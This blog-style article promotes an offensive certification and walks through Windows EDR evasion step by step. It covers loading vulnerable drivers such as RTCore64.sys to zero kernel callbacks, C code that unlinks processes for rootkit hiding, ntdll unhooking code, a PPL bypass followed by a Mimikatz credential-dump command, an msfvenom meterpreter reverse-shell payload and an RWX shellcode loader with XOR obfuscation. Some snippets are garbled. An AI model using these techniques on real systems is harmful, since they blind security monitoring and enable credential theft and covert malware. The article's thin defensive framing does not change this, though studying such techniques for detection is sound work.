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Introduction:
Modern Windows environments are fortified with layers of defensive measures, including Endpoint Detection and Response (EDR), Sysmon telemetry, and kernel-level protections like PatchGuard and Credential Guard. For security professionals, understanding how Advanced Persistent Threats (APTs) operate isn’t just about detection—it’s about thinking like an adversary to build stronger defenses. The Certified Evasion Techniques Professional (CETP) certification, offered by Altered Security, dives deep into this adversarial mindset, focusing on the research and development of techniques to evade these advanced security controls at both user-mode and kernel-level.
Learning Objectives:
- Master the internals of Windows User-land and Kernel-land structures to understand where security hooks reside.
- Analyze and bypass telemetry collection mechanisms used by EDRs, SIEMs, and Sysmon.
- Develop and implement exploit techniques such as BYOVD (Bring Your Own Vulnerable Driver) to disable kernel callbacks.
- Create custom rootkits and malware capable of modifying kernel structures to conceal malicious activity.
You Should Know:
1. Dissecting Windows Kernel Callbacks and EDR Telemetry
To evade modern EDR solutions, one must first understand how they monitor system activity. EDRs typically register kernel callbacks (e.g., PsSetCreateProcessNotifyRoutine, ObRegisterCallbacks) to inspect process creation, thread creation, and object access. They also rely heavily on Event Tracing for Windows (ETW) and Sysmon to collect telemetry.
Step‑by‑step guide to inspecting active kernel callbacks:
1. On Windows (Administrator PowerShell):
List registered process creation callbacks fltmc instances For deeper kernel callback enumeration, use WinDbg locally or via KDNET
2. Using WinDbg (Kernel Debugger):
!process 0 0 !devobj !callbacks
The `!callbacks` command reveals registered callback routines, often pointing directly to EDR driver addresses.
3. Analyzing Sysmon configuration:
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'} -MaxEvents 10
Or query the current Sysmon configuration
& 'C:\Program Files\Sysmon64.exe' -c
Understanding these structures allows an operator to identify which security products are active and where they hook into the system, setting the stage for targeted evasion.
- Bring Your Own Vulnerable Driver (BYOVD) for Defensive Takedown
One of the most powerful techniques covered in the CETP curriculum is BYOVD—exploiting a legitimate but vulnerable kernel driver to gain execution in the kernel and disable security mechanisms. Tools like EDRSandBlast or custom scripts can be used to load a vulnerable driver and then unload EDR callbacks.
Step‑by‑step guide to BYOVD conceptual workflow:
- Identify a vulnerable driver that has a known exploit (e.g., `gdrv.sys` from Gigabyte, `RTCore64.sys` from MSI Afterburner).
- Load the driver (requires administrator privileges or a service to start it):
sc.exe create vulnerable_driver binPath= "C:\path\driver.sys" type= kernel sc.exe start vulnerable_driver
- Exploit the driver to read/write kernel memory. For example, using a custom exploit to locate the EDR callback array and set its entries to zero:
– Use the driver’s arbitrary memory write primitive to overwrite the `PspCreateProcessNotifyRoutine` array.
– Alternatively, find and disable the `ETW` provider GUID used by the EDR.
4. Verify that the EDR is no longer reporting events (by attempting a benign action like launching `notepad.exe` and checking if the EDR console shows it).
Note: This is for authorized testing only; such actions trigger immediate alerts in monitored environments.
3. Modifying Kernel Structures for Rootkit Persistence
Rootkits that operate in kernel space can hide processes, files, and registry keys by directly manipulating kernel structures like the ActiveProcessLinks (part of EPROCESS). Removing a process from this doubly-linked list makes it invisible to Task Manager and most process enumeration tools.
Step‑by‑step guide to basic process hiding (conceptual code in C for a driver):
1. Find the target process EPROCESS structure:
PEPROCESS targetProcess; PsLookupProcessByProcessId(pid, &targetProcess);
2. Locate the ActiveProcessLinks member:
PLIST_ENTRY currentEntry = (PLIST_ENTRY)((PUCHAR)targetProcess + 0x2f0); // Offset varies by Windows version
3. Unlink the entry:
currentEntry->Blink->Flink = currentEntry->Flink; currentEntry->Flink->Blink = currentEntry->Blink;
4. Restore the original `Flink` and `Blink` pointers to prevent blue screens when you need to unhide.
Modern EDRs monitor these structures for integrity, so more advanced techniques involve DKOM (Direct Kernel Object Manipulation) with offset randomization handling, often using tools like Windows Driver Kit (WDK) and a mapping of Windows version-specific offsets.
4. Evading User-Mand Hooks with In-Memory Patching
EDRs implement user-mode hooks by injecting DLLs (e.g., ntdll.dll) and redirecting API calls to their own monitoring functions. CETP emphasizes the development of custom unhooking techniques.
Step‑by‑step guide to unhooking ntdll.dll:
- Map a fresh copy of ntdll.dll from disk into memory.
- Identify hooked functions (e.g.,
NtCreateFile,NtAllocateVirtualMemory) by comparing the in-memory and disk versions. - Overwrite the hooked bytes with the original opcodes using `VirtualProtect` and
WriteProcessMemory:// C++ example DWORD oldProtect; VirtualProtect((LPVOID)funcAddress, hookSize, PAGE_READWRITE, &oldProtect); memcpy((LPVOID)funcAddress, originalBytes, hookSize); VirtualProtect((LPVOID)funcAddress, hookSize, oldProtect, &oldProtect);
- Flush the instruction cache to ensure changes take effect.
Many public tools like SharpUnhooker automate this, but CETP-level knowledge extends to bypassing EDRs that monitor for these exact modifications via `NtProtectVirtualMemory` hooks.
5. Exploiting Protected Processes (PP/PPL) and Credential Guard
Protecting critical processes (LSASS, CSRSS) with Protected Process Light (PPL) prevents even administrator-level access. To dump credentials, an attacker must bypass PPL.
Step‑by‑step guide to PPL bypass:
- Use a legitimate, vulnerable driver to disable PPL protection flags (e.g., via `g_CIEnabled` flag modification).
- Alternatively, use a custom kernel driver that sends a `IOCTL` to remove the `Protection` field from the target process’s
EPROCESS. - Once PPL is bypassed, tools like Mimikatz can be used:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
- For Credential Guard (virtualization-based security), evasion requires disabling the Isolated User Mode service or leveraging VBS (Virtualization-Based Security) escapes—a much more advanced and rare capability.
6. Developing Custom Payloads to Minimize Signature Detection
Signature-based detection (AV/AMSI) is easily bypassed with custom malware. The CETP approach focuses on indigenous development using Windows APIs directly rather than relying on common frameworks like Metasploit.
Step‑by‑step guide to creating a simple custom shellcode loader:
1. Write a C++ program that uses `VirtualAlloc` to allocate RWX memory.
2. Copy shellcode (e.g., msfvenom -p windows/x64/meterpreter/reverse_https LHOST=x LPORT=443 -f c) into the allocated buffer.
3. Execute using a function pointer or `CreateThread`.
unsigned char shellcode[] = "..."; void exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, shellcode, sizeof(shellcode)); ((void()())exec)();
4. Add evasion by encrypting the shellcode with a simple XOR and decrypting at runtime, and using API hammering (dynamic resolution of API addresses) to avoid import table indicators.
What Undercode Say:
The CETP certification goes far beyond standard penetration testing; it forces professionals to engage with the adversarial mindset at the kernel level. Mastery of topics like BYOVD and kernel callback manipulation transforms a red teamer from a script-user to a true adversary emulator. The practical skills—such as writing custom rootkits and unhooking EDRs—are directly applicable to modern threat hunting, as defenders must know these techniques to detect them. Moreover, the focus on Windows internals and low-level exploitation ensures that graduates can adapt to evolving security solutions, staying ahead of both EDR vendors and APT groups. Ultimately, CETP bridges the gap between academic knowledge and real-world covert operations.
Prediction:
As EDRs continue to move towards kernel-level and cloud-based detection, the demand for professionals who understand kernel internals will skyrocket. Expect to see CETP becoming a benchmark for elite red team roles and for defensive positions focused on advanced threat hunting. The techniques taught will also drive the next generation of detection engineering, where security teams must monitor for the exact abuse of vulnerable drivers and kernel callbacks. In the next two years, we will likely see a surge in open-source tools emerging from CETP graduates, and organizations will increasingly require such deep technical expertise to combat AI-driven, polymorphic malware.
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